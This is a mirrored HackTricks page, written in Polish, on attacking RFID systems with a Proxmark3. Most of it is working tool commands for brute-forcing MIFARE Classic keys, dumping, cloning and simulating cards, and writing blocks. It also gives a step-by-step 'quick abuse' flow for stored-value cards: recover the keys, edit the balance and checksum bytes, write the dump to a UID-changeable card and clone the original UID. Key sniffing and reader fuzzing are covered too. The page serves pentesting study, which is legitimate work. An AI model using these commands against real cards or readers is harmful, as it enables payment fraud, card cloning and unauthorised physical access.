mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
5.0 KiB
Markdown
92 lines
5.0 KiB
Markdown
# Proxmark 3
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Atakowanie systemów RFID za pomocą Proxmark3
|
|
|
|
Pierwszą rzeczą, którą musisz zrobić, jest posiadanie [**Proxmark3**](https://proxmark.com) oraz [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
|
|
|
### Attacking MIFARE Classic 1KB
|
|
|
|
Ma **16 sektorów**, z których każdy ma **4 bloki**, a każdy blok zawiera **16B**. UID znajduje się w sektorze 0, bloku 0 (i nie może być zmieniony).\
|
|
Aby uzyskać dostęp do każdego sektora potrzebujesz **2 kluczy** (**A** i **B**), które są zapisane w **bloku 3 każdego sektora** (sector trailer). Sector trailer przechowuje również **bity dostępu**, które określają uprawnienia do **odczytu i zapisu** dla **każdego bloku** przy użyciu tych dwóch kluczy.\
|
|
2 klucze mogą być użyte do nadawania uprawnień: odczyt jeśli znasz pierwszy, i zapis jeśli znasz drugi (na przykład).
|
|
|
|
Można przeprowadzić kilka ataków
|
|
```bash
|
|
proxmark3> hf mf #List attacks
|
|
|
|
proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
|
|
proxmark3> hf mf fchk 1 t # Improved keys BF
|
|
|
|
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
|
|
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key
|
|
|
|
proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
|
|
proxmark3> hf mf restore # Copy data to a new card
|
|
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
|
|
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory
|
|
|
|
proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
|
|
proxmark3> hf mf eget 01 # Read block 1
|
|
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
|
```
|
|
Proxmark3 pozwala wykonywać inne akcje, takie jak **eavesdropping** **Tag to Reader communication**, aby spróbować znaleźć wrażliwe dane. W przypadku tej karty możesz po prostu podsłuchać komunikację i obliczyć użyty klucz, ponieważ **użyte operacje kryptograficzne są słabe**, a znając tekst jawny i szyfrogram możesz go obliczyć (narzędzie `mfkey64`).
|
|
|
|
#### MiFare Classic szybki przebieg nadużyć kart z przechowywaną wartością
|
|
```bash
|
|
# 1) Recover sector keys and dump full card
|
|
proxmark3> hf mf autopwn
|
|
|
|
# 2) Modify dump offline (adjust balance + integrity bytes)
|
|
# Use diffing of before/after top-up dumps to locate fields
|
|
|
|
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
|
|
proxmark3> hf mf cload -f modified.bin
|
|
|
|
# 4) Clone original UID so readers recognize the card
|
|
proxmark3> hf mf csetuid -u <original_uid>
|
|
```
|
|
Uwagi
|
|
|
|
- `hf mf autopwn` orkiestruje ataki w stylu nested/darkside/HardNested, odzyskuje klucze i tworzy zrzuty w client dumps folder.
|
|
- Zapis bloku 0/UID działa tylko na kartach magic gen1a/gen2. Normalne karty Classic mają UID tylko do odczytu.
|
|
- Wiele wdrożeń używa Classic "value blocks" lub prostych sum kontrolnych. Upewnij się, że wszystkie zduplikowane/uzupełnione pola i sumy kontrolne są spójne po edycji.
|
|
|
|
Zobacz metodologię na wyższym poziomie i środki łagodzące w:
|
|
|
|
{{#ref}}
|
|
pentesting-rfid.md
|
|
{{#endref}}
|
|
|
|
### Raw Commands
|
|
|
|
IoT systems sometimes use **tagi bez marki lub niekomercyjne**. W tym przypadku możesz użyć Proxmark3 do wysłania niestandardowych **raw commands** do tagów.
|
|
```bash
|
|
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
|
SAK : 08 [2]
|
|
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
|
|
proprietary non iso14443-4 card found, RATS not supported
|
|
No chinese magic backdoor command detected
|
|
Prng detection: WEAK
|
|
Valid ISO14443A Tag Found - Quiting Search
|
|
```
|
|
Mając te informacje możesz spróbować wyszukać informacje o karcie oraz o sposobie komunikacji z nią. Proxmark3 pozwala wysyłać raw commands, na przykład: `hf 14a raw -p -b 7 26`
|
|
|
|
### Scripts
|
|
|
|
Oprogramowanie Proxmark3 zawiera wstępnie załadowaną listę **skryptów automatyzujących**, których możesz użyć do wykonywania prostych zadań. Aby pobrać pełną listę, użyj polecenia `script list`. Następnie użyj polecenia `script run`, po którym podajesz nazwę skryptu:
|
|
```
|
|
proxmark3> script run mfkeys
|
|
```
|
|
Możesz stworzyć skrypt do **fuzz tag readers** — kopiując dane z **prawidłowej karty**, po prostu napisz **Lua script**, który **losowo zmienia** jeden lub więcej losowych **bytes** i sprawdzi, czy **reader crashes** przy którejkolwiek iteracji.
|
|
|
|
## Referencje
|
|
|
|
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
|
|
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
|
|
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
|
|
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|